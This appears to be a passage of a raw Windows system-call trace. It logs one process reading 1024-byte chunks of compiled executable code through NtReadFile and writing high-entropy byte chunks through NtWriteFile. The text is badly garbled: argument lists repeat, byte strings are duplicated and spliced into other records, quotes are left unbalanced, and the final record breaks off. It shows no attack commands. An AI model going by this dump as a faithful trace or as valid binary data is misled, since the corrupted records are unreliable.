 00940  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "tError\213\300Tv\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Tv\0@\14\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\20EAssertionFailed\215@\0\264v\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\264v\0@\14\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\16EAbstractError\220\20w\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20w\0@\14\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\16EIntfCastError\220lw\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0lw\0@\20\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\10EOSError\215@\0\304w\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\304w\0@\14\0\0\0\340m\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\22ESafecallException\220\334w\0@\21\3.74\4\0\0\0\0\20\0@H\0\0\0\0\20\0@\10Sy", ) , ) == 0x0
 00941  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\223\360\351R\256\273\250\374h\257\214\277\307SV\242I\36\305 \232\331W\315\37\\373\345\366\312o\22\10_\267\320\6\220\302\223J\23E\372\374\201h\365D\371\254\257-\32/\25\247.aZ\1\256\16* TD\344\247\3408\317\1\227N\256\0\260#\366SN\326\37\355\240\2078\34\344\305\223<2:\200\325\206\374\375\306\206\351\334g+9\35\344\343\301=V\300N:__\202I\233U\251-9\223+\321\241TZ\5^\332\274(\25\257\210\265\276\240\16\365\352\347\305\265dnk[\276:\273\254A9\311`l\235\2117)\267\361\37\3\37\32\21N\204Z\276\206\373qf\276"F(\247<\300x\336\264\361\35\344\0\261%\371\330\234\345dZs\376\360~b\365\301GkL\371}\355hwq\242\340\207a\13\231\7/\352x\335\354:\330\36\244(\31\316_\3044\252K\2472\225\255\\0\333\345\312%\241\337a\323\331Lg\255\265M|\207{\24\243;X %\321\372\261\11(\335\336(\3553/\221\316,\231\201\233\221(\273F\376\35\203\214Y*\202\316\336y\33\177B\263E\212*&\\220\357\266\232w\274\242E\324\6\00C9\275\14\204\314\341\345\332\252\326\377-\362/\223_E]t\\242\366\26~Cl\315 \260SZ]@iE\1\271\220\307\262\346\220)P3\255\315\256\230BR\16\231\300\201\207\341\363\327\316\264Rz\13K\311\2714\10z\34*S'\300\224\264[\224\254\315UlE\325\23\1-\373-\373\267\222;p\4\235`\25_\277\255ha\275Nx\341\330\260\221\202\274\315\354\26\33\360\245S\326;\6\323+\364\243*\345\331\375\237\216\2709T\14\240R\225\25\213\207\326\332\4b\237n\207\365\204\354\200\\243\300\226\367\210!\7sl\262E\202\336\168W\361\31\236", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) F(\247<\300x\336\264\361\35\344\0\261%\371\330\234\345dZs\376\360~b\365\301GkL\371}\355hwq\242\340\207a\13\231\7/\352x\335\354:\330\36\244(\31\316_\3044\252K\2472\225\255\\0\333\345\312%\241\337a\323\331Lg\255\265M|\207{\24\243;X %\321\372\261\11(\335\336(\3553/\221\316,\231\201\233\221(\273F\376\35\203\214Y*\202\316\336y\33\177B\263E\212*&\\220\357\266\232w\274\242E\324\6\00C9\275\14\204\314\341\345\332\252\326\377-\362/\223_E]t\\242\366\26~Cl\315 \260SZ]@iE\1\271\220\307\262\346\220)P3\255\315\256\230BR\16\231\300\201\207\341\363\327\316\264Rz\13K\311\2714\10z\34*S'\300\224\264[\224\254\315UlE\325\23\1-\373-\373\267\222;p\4\235`\25_\277\255ha\275Nx\341\330\260\221\202\274\315\354\26\33\360\245S\326;\6\323+\364\243*\345\331\375\237\216\2709T\14\240R\225\25\213\207\326\332\4b\237n\207\365\204\354\200\\243\300\226\367\210!\7sl\262E\202\336\168W\361\31\236", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00942  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\332\203\312\3\350k\325\377\377\213?\211_\374\306\4\37\0\203\303\377\203\343\374\213\4\36\211\301\15\200\200\200\200\211\302-{{{{1\312\15\200\200\200\200-ffff!\320\301\350\21\310\211\4\37\213D\36\374\203\353\4}\323_^[\303_^[\3510\316\377\377\303\215@\0SVW\211\306\211\320\205\366\17\204\201\0\0\0\213V\374\211\307\205\322~x\213\10\211\323\205\311t#\367\302\3\0\0\0u\123Q\374\203\372\3v\15\353\21\203\312\23Q\374\203\372\1w\6\203y\370\1t\12\211\332\203\312\3\350\317\324\377\377\213?\211_\374\306\4\37\0\203\303\377\203\343\374\213\4\36\211\301\15\200\200\200\200\211\302-[[[[1\312\15\200\200\200\200-ffff!\320\301\350\21\310\211\4\37\213D\36\374\203\353\4}\323_^[\303_^[\351\224\315\377\377\303\215@\0\205\300u\12\205\322t\5\213B\374\367\330\303\205\322u\4\213@\374\303SUV\213h\374\213Z\374)\335\31\311!\351\1\331\2154\1\1\312\367\331tc\17\267\41\17\267\34\219\330tR8\330t,\264\0\267\0\301\350\10\301\353\10301\350\10\301\353\107177\3\203\350 \200\373a|\10\200\373z\177\3\203\353 )\330u\7\203\301\2|\235\211\350^][\303\215@\09\320t\31\11\300t\27\11\322t\24\213H\374;J\374u\14\350K\377\377\377\205\300u\3\260\1\3031\300\303\220SVWU\213\352\213\370\213\337\205\333t\5\203\353\4\213\33\213\365\205\366t\5\203\356\4\2136V\213\305\350n\321\377\377PS\213\307\350e\321\377\377Pj\1h\0\4\0\0\350\10\351\377\377\203\350\2]", ) == 0x0
 00943  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\311\364@\201\375<\254\301)\377{v\217\277\372\304$\2(H\357G\272\262\374^T\222\221\270\35\331(\377.R\344\2600)Q\14m\15\3\350\372\214\320\321\3136\342\361e\331\210r@\367\276,7w\256g\244\267\227\252U\33\356Q\303+)\215\321\351\301h\365\3<$\27\12\376\247]\3101\353\267\376i\346%\372\365[i\302\36\262C\343&\34\337\331;h\334\275\326\251\24\17\376\353y\260j\304e\332\350\205+Z\3722\332d\266\217\37\32g\366\262\302\350,\33;\216\6\346\36\11X\260\357\14\347\13\30/\2166\13\227\235\267b\245\264\223n\30\327\303|\376\304\237\356l\200\272\362\206\355\273\270Q8\314L\374\321\272\225\221.j\327H\217\251;\313\301@\207c]\263\266\257'\341jf0)\222\326\256\210\37iH$\315`?]bA7Hj\330]Q\343\`N6o'\302\316\4\342\5\252a_\371pZt\25\35\245\302=\253\340\231\74lA\371z,s\243J\357"v\241\320Y\352(>L@\200k\257[:t\20\13c\325\243\177\272\216\21u\202VE`\200\265=\267\203|\325\266\367@C1\203yE\340\320\23\345\234\277f\270'm\231\2158\30\303\356K\366d\375\211\334k\217\250\267\32\206\375-*\274\177\255\350$\207\32q\\321\364\213\35L\252\3-\363|\373\35\374\31/\230\353\311\7\312\4\242\315"\233H'\326\234\217\346d9\252\371\226\356`7\265>\223\370h\355%\320\316\21\347kK\223\4\1R\225\3575\252\201\22c?\254,vD\334\220\200\226\272\324a\304\213$\306\334\365\36\374\263\254\352\212\220\213P\3076\274\227\337\15%\217\367Ix\343\371\207\266\225J\352\326I\342\242\225R\221\377\2364E`\363\12dd\216\357\366\14{g@\25\320\204\274", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) v\241\320Y\352(>L@\200k\257[:t\20\13c\325\243\177\272\216\21u\202VE`\200\265=\267\203|\325\266\367@C1\203yE\340\320\23\345\234\277f\270'm\231\2158\30\303\356K\366d\375\211\334k\217\250\267\32\206\375-*\274\177\255\350$\207\32q\\321\364\213\35L\252\3-\363|\373\35\374\31/\230\353\311\7\312\4\242\315 (92, 0, 0, 0, "\311\364@\201\375<\254\301)\377{v\217\277\372\304$\2(H\357G\272\262\374^T\222\221\270\35\331(\377.R\344\2600)Q\14m\15\3\350\372\214\320\321\3136\342\361e\331\210r@\367\276,7w\256g\244\267\227\252U\33\356Q\303+)\215\321\351\301h\365\3<$\27\12\376\247]\3101\353\267\376i\346%\372\365[i\302\36\262C\343&\34\337\331;h\334\275\326\251\24\17\376\353y\260j\304e\332\350\205+Z\3722\332d\266\217\37\32g\366\262\302\350,\33;\216\6\346\36\11X\260\357\14\347\13\30/\2166\13\227\235\267b\245\264\223n\30\327\303|\376\304\237\356l\200\272\362\206\355\273\270Q8\314L\374\321\272\225\221.j\327H\217\251;\313\301@\207c]\263\266\257'\341jf0)\222\326\256\210\37iH$\315`?]bA7Hj\330]Q\343\`N6o'\302\316\4\342\5\252a_\371pZt\25\35\245\302=\253\340\231\74lA\371z,s\243J\357"v\241\320Y\352(>L@\200k\257[:t\20\13c\325\243\177\272\216\21u\202VE`\200\265=\267\203|\325\266\367@C1\203yE\340\320\23\345\234\277f\270'm\231\2158\30\303\356K\366d\375\211\334k\217\250\267\32\206\375-*\274\177\255\350$\207\32q\\321\364\213\35L\252\3-\363|\373\35\374\31/\230\353\311\7\312\4\242\315"\233H'\326\234\217\346d9\252\371\226\356`7\265>\223\370h\355%\320\316\21\347kK\223\4\1R\225\3575\252\201\22c?\254,vD\334\220\200\226\272\324a\304\213$\306\334\365\36\374\263\254\352\212\220\213P\3076\274\227\337\15%\217\367Ix\343\371\207\266\225J\352\326I\342\242\225R\221\377\2364E`\363\12dd\216\357\366\14{g@\25\320\204\274", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00944  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "$\0\17\224\300Z^[\303\215@\0SVQ\213\362\213\330\213\324\213\303\3508\331\377\377\211\6\211V\4\203<$\0\17\224\300Z^[\303\241\20\351\1@\3506\333\377\377\205\300u)j\1\270\20\351\1@\271\1\0\0\0\213\25\330w\0@\350\327\334\377\377\203\304\4\241\20\351\1@\272\244~\0@\350u\312\377\377\241\24\351\1@\350\377\332\377\377\205\300u)j\1\270\24\351\1@\271\1\0\0\0\213\25\374w\0@\350\240\334\377\377\203\304\4\241\24\351\1@\272\264~\0@\350>\312\377\377\303\0\377\377\377\377\4\0\0\0True\0\0\0\0\377\377\377\377\5\0\0\0False\0\0\0U\213\354\203\304\354SVW\306E\377\0\205\322|fB\211U\364\213\330\213E\10\213@\374\211E\360\213\3\211E\354\213u\360\205\366t\5\203\356\4\2136\213}\354\205\377t\5\203\357\4\213?W\213E\354\350F\316\377\377PV\213E\360\350<\316\377\377Pj\1h\0\4\0\0\350\337\345\377\377\203\350\2\205\300\17\224\300\204\300t\6\306E\377\1\353\10\203\303\4\377M\364u\240\17\266E\377_^[\213\345]\303\213\300U\213\354\203\304\360S\213\332\211E\374\215U\360\213E\374\350\35\17\0\0\213\320\204\322t\22\333m\360\330\35\300\177\0@\233\337\340\236\17\225\3\353I\350\270\376\377\377U\241\20\351\1@\350\365\331\377\377\213\320\241\20\351\1@\3501\377\377\377Y\213\320\204\322t\5\306\3\1\353!U\241\24\351\1@\350\322\331\377\377\213\320\241\24\351\1@\350\16\377\377\377Y\213\320\204\322t\3\306\3\0\213\302[\213\345]\303\0\0\0\0\0\377\377\377\377\1\0\0\00\0\0\0\377\377\377\377\2\0\0\0-1\0\0SV\213\361\213\330\204\322t,\350A\376\377\377\204\333t\21\213\306\213\25\20", ) , ) == 0x0
 00945  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\222\356\247\11\260iU\244aO\7^\17-C\244[\212rr\306\300\332L\316\22\270\265\6\2\2173\263\220\333\326\360&\344S\315Ln\36f\237 \P9\235T^e\217\362\23\260\244\355\5\362\277W!b\253\357\222\20@\273]Y `\304\371\370\334\207\242\257\32s\375\315\10^\372\341\254\340\315P.v\345\5\276\17\235\350\353~\11p\266\0\353\236a\357\360\350&L\264g\242\332\303\305\253C\270F,\355o\313dN0\215\2\236C\317x5\33\217fJ\\310  \24\272\13>\213\347\237\306\311| \335\316[1\13\26%F\2307a_\354\373O\272\210\\177\344\7)\220\273\245#-\353U\367\25\300\364\276R\307\244\203\360\242\2155\241\31\235\322vf$\331\302\310\262\14\2072\371\355\271X~\316=\357\230\204\14\357N\32\304\352\365\202Y\322w\217\255I\306\262\240\364S\274\307a\341\7\370S6l\222\204\271\2\355DY\307\315\300.-\231\266r\235\350(\204\301K\261G\13\263\2?u\302\365\276q{\231\335g>\317\2[i,\236\220M\14\50K\17\300&p\314\263\251\\173w\33l\353\3&-$\221\271\214`%Z~, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00946  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ", ) , ) == 0x0
 00947  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\340\351nb\26\326\5$\253\31\3415\274\271\234\243\316Et\367\315*<\343\233\204\230\314\364V\313L\262J\300<\201\2\324\277\326\366m\327S+\25\263HT\253\206\274\15\31"\35\315&\353(z\256o\226\350\222\215\212\224\202{\240f8\3\207\277Fj\313\213~\241\255\303\21w\260Kv\234\235~\203\234-\245q{\211S\347\jP\256$Z"\1\35X\6\305b\214\214\224\214$\321\245W\367W\253\344\4\211@W?\255\222)r\334\351\37\36w\240\303'5L;\313UKgt\215\252\212\270\223\211\223F\357\202>\326\3146\315\376\364\21\213\334\246\32\312\276_vvo\342;6\345m\3\225\200q\342T\2241\16\216\373\325\344\224\2642.\370\341\340\242S\271\253\341pW\37Rt\256\351\357\222\376\5\204\315\321\214^\375\372\211[\267\222\363\222\33\356\310,\265\4\371\332m\267\342\330\343\256\7X\12\304au\326v\257Z\\300\220 \264\16\205\207\30\34mn8\271\346\205\370\262\351\118G\4<\306\373^\314\343\312\266C\11u\367\300e\307\2q\340\12\360}$D\370\3625\371\207M9\216\231_\2101\301\24\232\343\253\304\235\230\204k\373H\16\241\305\353\217\267w\326\237q\22\364\235\210\343\13.p\3004\355_W\322z\262\30231\365\3038\242\13\323\356j\340\374\215L\203\26257L\364\10B\22\337G\25\204\376\24\215K\344\346h/hv\274\345\315\274\230\271qFnL\313\251QV\377\362\305{|\345\3166\357WNz\10K$\317\301\14", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \35\315&\353(z\256o\226\350\222\215\212\224\202{\240f8\3\207\277Fj\313\213~\241\255\303\21w\260Kv\234\235~\203\234-\245q{\211S\347\jP\256$Z (92, 0, 0, 0, "\340\351nb\26\326\5$\253\31\3415\274\271\234\243\316Et\367\315*<\343\233\204\230\314\364V\313L\262J\300<\201\2\324\277\326\366m\327S+\25\263HT\253\206\274\15\31"\35\315&\353(z\256o\226\350\222\215\212\224\202{\240f8\3\207\277Fj\313\213~\241\255\303\21w\260Kv\234\235~\203\234-\245q{\211S\347\jP\256$Z"\1\35X\6\305b\214\214\224\214$\321\245W\367W\253\344\4\211@W?\255\222)r\334\351\37\36w\240\303'5L;\313UKgt\215\252\212\270\223\211\223F\357\202>\326\3146\315\376\364\21\213\334\246\32\312\276_vvo\342;6\345m\3\225\200q\342T\2241\16\216\373\325\344\224\2642.\370\341\340\242S\271\253\341pW\37Rt\256\351\357\222\376\5\204\315\321\214^\375\372\211[\267\222\363\222\33\356\310,\265\4\371\332m\267\342\330\343\256\7X\12\304au\326v\257Z\\300\220 \264\16\205\207\30\34mn8\271\346\205\370\262\351\118G\4<\306\373^\314\343\312\266C\11u\367\300e\307\2q\340\12\360}$D\370\3625\371\207M9\216\231_\2101\301\24\232\343\253\304\235\230\204k\373H\16\241\305\353\217\267w\326\237q\22\364\235\210\343\13.p\3004\355_W\322z\262\30231\365\3038\242\13\323\356j\340\374\215L\203\26257L\364\10B\22\337G\25\204\376\24\215K\344\346h/hv\274\345\315\274\230\271qFnL\313\251QV\377\362\305{|\345\3166\357WNz\10K$\317\301\14", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 8\271\346\205\370\262\351\118G\4<\306\373^\314\343\312\266C\11u\367\300e\307\2q\340\12\360}$D\370\3625\371\207M9\216\231_\2101\301\24\232\343\253\304\235\230\204k\373H\16\241\305\353\217\267w\326\237q\22\364\235\210\343\13.p\3004\355_W\322z\262\30231\365\3038\242\13\323\356j\340\374\215L\203\26257L\364\10B\22\337G\25\204\376\24\215K\344\346h/hv\274\345\315\274\230\271qFnL\313\251QV\377\362\305{|\345\3166\357WNz\10K$\317\301\14", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00948  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "?\263\1\200\371Et8\263\2\200\371Ft\22\263\3\200\371Nt\13\200\371M\17\205\212\376\377\377\263\4\270\22\0\0\0\213U\3349\302v%\272\2\0\0\0\200\371Mu\33\17\266\25\20\350\1@\353\22\213E\334\272\3\0\0\0\203\370\22v\5\270\17\0\0\0SPR\215E\227\211\362\17\266\317\213]\374\350\233\1\0\0\211\301\215u\227\303SP\215E\354\213]\374\350\14\302\377\377X[\303\350\353\377\377\377_^[[\213\345]\302\14\0\213\300U\213\354SVW\213\361\213\372\213\330\205\333t'\205\366t#\213\306\350\265\372\377\377P\213E\14P\213E\10P\213\316\213\303\213\327\350Y\374\377\377\306\4\3\0\213\303\353\23\300_^[]\302\10\0U\213\354Q\213M\10\221\207\321\350\5\0\0\0]\302\4\0\220U\213\354\201\304\4\360\377\377P\203\304\364SVW\211M\370\211U\374\213\370\273\0\20\0\0\213U\374\213\302\205\300t\5\203\350\4\213\0=\0\14\0\0},\213\302\205\300t\5\203\350\4\213\0P\213E\370P\213E\10P\213M\374\215\205\364\357\377\377\272\377\17\0\0\350\333\373\377\377\211E\364\353\20\213\302\205\300t\5\203\350\4\213\0\213\330\211]\364\213\303H;E\364\177M\3537\3\333\213\307\350#\301\377\377\213\307\213\323\350\12\310\377\377\213u\374\205\366t\5\203\356\4\2136V\213E\370P\213E\10P\213M\374\213\323J\213\7\350\210\373\377\377\211E\364\213\303H;E\364~\301\213\307\213U\364\350\323\307\377\377\353\20\215\225\364\357\377\377\213\307\213M\364\350\301\301\377\377_^[\213\345]\302\4\0V1\366\252\10\333u\41\322\353\12\11\322}\6\260-\367\332\353\6\10\344t\3\210\340\252\222P\211\3431\322\367\266p\250\1@\200\3020\210\23CI\11\300u\355\11\311\177\351", ) , ) == 0x0
 00949  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\370\242x!\37WO\341\253rb\216Z\270V\240 Z\327\213v%\257I\224^\30\22\6H9\263\314x\275\321\374\12\15\276#\307\205\23\306\366\307F\273\317\2223t\217\277\306\325-\361$\371\215wi]X\210\7i\350\306\364^\332\200\250\271J\210\214\326\356\320\351\32\1\241\330IA\260w\170\315A\258\215\37\354\16\265:\21\177z&`\37|\30;f\223=\221A\347\270?\331_\201aM\27\263\240\335\4\220\306\313\3559\220G\314\352\273\322L\352\212EY\233\3558@Tf\0`\252Q\1773\241\20\352\320w\235\366\237HdX\244\235\274\311\366\253h\240]\262\361\372\241\222\377\223\351\204\357\222\222q\226\372\246\352y\347\237J\202\353\222O*C\12\212p\350\11Z\347\35>\335\10\17[ \272\320\2326\2274:\340<\227d\222\223\215V\225J\17\32\266Y\233I*\274\17\13e^\271do,\3\225\254q\263\360x\307\214\255\215\26h\2\360\321\230\324\247)\275\22#\300T\321'2\26\330\370t[B\343Y\223\252e3\236(:T/\304/_\266]1\213\211Q6\350_e\326\22\255\15\361\231q\276%\333\261\252\300\232r`l\13\322r\335\276\342~\277\16\245$\270\340\266Lu\345S\265\277\242\206\330\366\340:\25\366\4x\371~\251>\20\2532x#(X\240?\376\367$\275\17\267\265\226,*\21\275{\303\5\263D\204\204\300m\12\344\361\364B\341\104\253\305f\256\240\351\20\305\312\256m\273\373H\254\237$\14l\21\366\313\5\21\364Q\277V{.<\37\360q\235\331~\355Tf\220\317\372\230\372z\307o\332\200\335\366\360\226J_"/\207y\327\324\224^\14&\326\274\367S\255\320\355\177\310\215t[\20\324\313\5qu"8\255!\304\210\21$\352\233\305\226L\10\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) /\207y\327\324\224^\14&\326\274\367S\255\320\355\177\310\215t[\20\324\313\5qu (92, 0, 0, 0, "\370\242x!\37WO\341\253rb\216Z\270V\240 Z\327\213v%\257I\224^\30\22\6H9\263\314x\275\321\374\12\15\276#\307\205\23\306\366\307F\273\317\2223t\217\277\306\325-\361$\371\215wi]X\210\7i\350\306\364^\332\200\250\271J\210\214\326\356\320\351\32\1\241\330IA\260w\170\315A\258\215\37\354\16\265:\21\177z&`\37|\30;f\223=\221A\347\270?\331_\201aM\27\263\240\335\4\220\306\313\3559\220G\314\352\273\322L\352\212EY\233\3558@Tf\0`\252Q\1773\241\20\352\320w\235\366\237HdX\244\235\274\311\366\253h\240]\262\361\372\241\222\377\223\351\204\357\222\222q\226\372\246\352y\347\237J\202\353\222O*C\12\212p\350\11Z\347\35>\335\10\17[ \272\320\2326\2274:\340<\227d\222\223\215V\225J\17\32\266Y\233I*\274\17\13e^\271do,\3\225\254q\263\360x\307\214\255\215\26h\2\360\321\230\324\247)\275\22#\300T\321'2\26\330\370t[B\343Y\223\252e3\236(:T/\304/_\266]1\213\211Q6\350_e\326\22\255\15\361\231q\276%\333\261\252\300\232r`l\13\322r\335\276\342~\277\16\245$\270\340\266Lu\345S\265\277\242\206\330\366\340:\25\366\4x\371~\251>\20\2532x#(X\240?\376\367$\275\17\267\265\226,*\21\275{\303\5\263D\204\204\300m\12\344\361\364B\341\104\253\305f\256\240\351\20\305\312\256m\273\373H\254\237$\14l\21\366\313\5\21\364Q\277V{.<\37\360q\235\331~\355Tf\220\317\372\230\372z\307o\332\200\335\366\360\226J_"/\207y\327\324\224^\14&\326\274\367S\255\320\355\177\310\215t[\20\324\313\5qu"8\255!\304\210\21$\352\233\305\226L\10\21", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00950  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\377\252Ju\367\3031\333\212]\363\271\3\0\0\0\200}\326\0t\10\212]\362\271\17\4\0\08\313v\2\210\313\0\353\215\234\233i\212\0@\3]\354\271\5\0\0\0\212\3<@t\36QS<$t\7<*t\12\252\353\14\350\15\0\0\0\353\5\350M\377\377\377[YC\342\334\303V\213u\364\205\366t\5\213N\374\363\244^\303$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)\213\345]\302\14\0\220U\213\354\203\304\340WVS\211\303\211\326\307E\374\0\0\0\0\200\371\0t\12\3501\1\0\0\351\0\2\0\0\350\5\0\0\0\351\366\1\0\0f\213F\10\211\302%\377\177\0\0t\36=\377\177\0\0u"f\367F\6\0\200t\21\203>\0u\11\201~\4\0\0\0\200t\3@1\322\306C\3\0\351\315\0\0\0\333.-\377?\0\0i\300\20M\0\0\301\370\20@\211E\370\270\22\0\0\0+E\370\331\341S\213]\374\350\22\255\377\377[\331\374\213}\374\333\257d\250\1@\330\331\233\335}\366\233f\367E\366\0At\11\332\267p\250\1@\377E\370\337u\350\215{\3\272\11\0\0\0\233\212D*\347\210\304\300\350\4\200\344\17f\500f\253Ju\3532\300\252\213}\370\3}\10y\71\300\351w\377\377\377;}\14r\3\213}\14\203\377\22s'\200|;\35r%\306D;\3\0Ox\15\376D;\3\200|;\39w\355\353\37f\307C\31\0\377E\370\353\24\277\22\0\0\0\306D;\3\0O", ) f\367F\6\0\200t\21\203>\0u\11\201~\4\0\0\0\200t\3@1\322\306C\3\0\351\315\0\0\0\333.-\377?\0\0i\300\20M\0\0\301\370\20@\211E\370\270\22\0\0\0+E\370\331\341S\213]\374\350\22\255\377\377[\331\374\213}\374\333\257d\250\1@\330\331\233\335}\366\233f\367E\366\0At\11\332\267p\250\1@\377E\370\337u\350\215{\3\272\11\0\0\0\233\212D*\347\210\304\300\350\4\200\344\17f\500f\253Ju\3532\300\252\213}\370\3}\10y\71\300\351w\377\377\377;}\14r\3\213}\14\203\377\22s'\200|;\35r%\306D;\3\0Ox\15\376D;\3\200|;\39w\355\353\37f\307C\31\0\377E\370\353\24\277\22\0\0\0\306D;\3\0O", ) == 0x0
 00951  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\376t\311\343\345\215\335\303\352\220\12\354\\22\241\215\230\15R'[r\277\202\177\273k\361\361lz\251\210J66\7\30\204\213\227\30|\353\210\377\3136\276\373e\255ZS\361j\307\332\301\347#>\274v\13g\225h\255\247\260o\270\257\345\316\302\337v\342\271.S\332d\3772\241\305\226\343uQ\26\256(\237\271\265\2068B\310\265 *\214\327\3654\253\2303\3436\224\275"]\230?\273\343\200HI\360\23T[kv\353;\305-d\305\2529\20$\262z\210\337=F\225lVZ\210\21\335+;h\26\345K\312F\370d\241\16\272\315AUw#\21a\313\3\320f\327m\221\352{BT\354\303\3305g\247\20(\346;JZ\306\356\2764|M\36\336\26\371\362\2\341\224IsU\207\211\341\327\16\245\351 q\231j\35$\207", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) ]\230?\273\343\200HI\360\23T[kv\353;\305-d\305\2529\20$\262z\210\337=F\225lVZ\210\21\335+;h\26\345K\312F\370d\241\1635}0;\7\321\207O\23\201S-\360\322\226\343Cvc\273\334$*\316\216\322\\331\5\321\211\11\342\356\252\202\273\200\233O\257\12_:2\20\263\357\33|\2672\234yJ5\372J\226\10\24\250\365.\375S$p\370\245\245\325:5A\27\276V8\344\240P\16b\212\302a\306\272\312\241\267A\344N5@\335m\201\307\355\362\2240\261\4\227\372zJL\327\336/\333G\355\241\350\207\237\274\34/)KZ\344v}\254\4U#\35\227\31\377\277i\227\271\251\344\362\310sA\255Z+\362\212\244\149i\375\347r\347\220\3\337\352\343p\32//\347\254\3322T\210\313\304X\236\246\3773v\364i\202\301}\347\312\32\352\364\203\252|S\332@Gh%\373\246Ax\342+\341L\230Q\3177\341w2\335o\307\365\7\252\303<\311q\376\265\275\307\260\300=5+\322\345\316\206m\232\307\3011\235\326n\305\376J\241\205\256eeZ5\321\0=\306F\333\5>\272\315AUw#\21a\313\3\320f\327m\221\352{BT\354\303\3305g\247\20(\346;JZ\306\356\2764|M\36\336\26\371\362\2\341\224IsU\207\211\341\327\16\245\351 q\231j\35$\207", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00952  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\1\0\0r\352\200\371-u\2\367\332\303[^_\213\345]\303U\213\354\203\304\300S\213\330j\0j\17j\0\215U\10\215E\3003\311\350\320\371\377\377\213\310\215U\300\213\303\3508\273\377\377[\213\345]\302\14\0\220U\213\354\203\304\300S\213\330j\0j\0j\0\215U\10\215E\300\261\1\350\240\371\377\377\213\310\215U\300\213\303\350\10\273\377\377[\213\345]\302\10\0\220SV\213\362\213\330\213\303\350\307\276\377\377\213\3263\311\350v\376\377\377^[\303\215@\0SV\203\304\364\213\362\213\330\213\303\350\250\276\377\377\213\3243\311\350W\376\377\377\204\300t\6\333,$\335\36\233\203\304\14^[\303\215@\0SV\203\304\364\213\362\213\330\213\303\350|\276\377\377\213\3243\311\350+\376\377\377\204\300t\6\333,$\331\36\233\203\304\14^[\303\215@\0SV\213\362\213\330\213\303\350S\276\377\377\213\326\261\1\350\2\376\377\377^[\303\215@\0U\213\354S1\333\211\301\335E\10\330\213x\250\1@\203\354\10\337<$\233XZ\11\322y\21\367\332\367\330\203\332\0\367\263|\250\1@\367\330\353\6\367\263|\250\1@\5Z\225\12\0\211\21\211A\4[]\302\10\0U\213\354\203\304\370V\213u\14\306E\377\0f\203\370\30sMf\203\372, ) , ) == 0x0
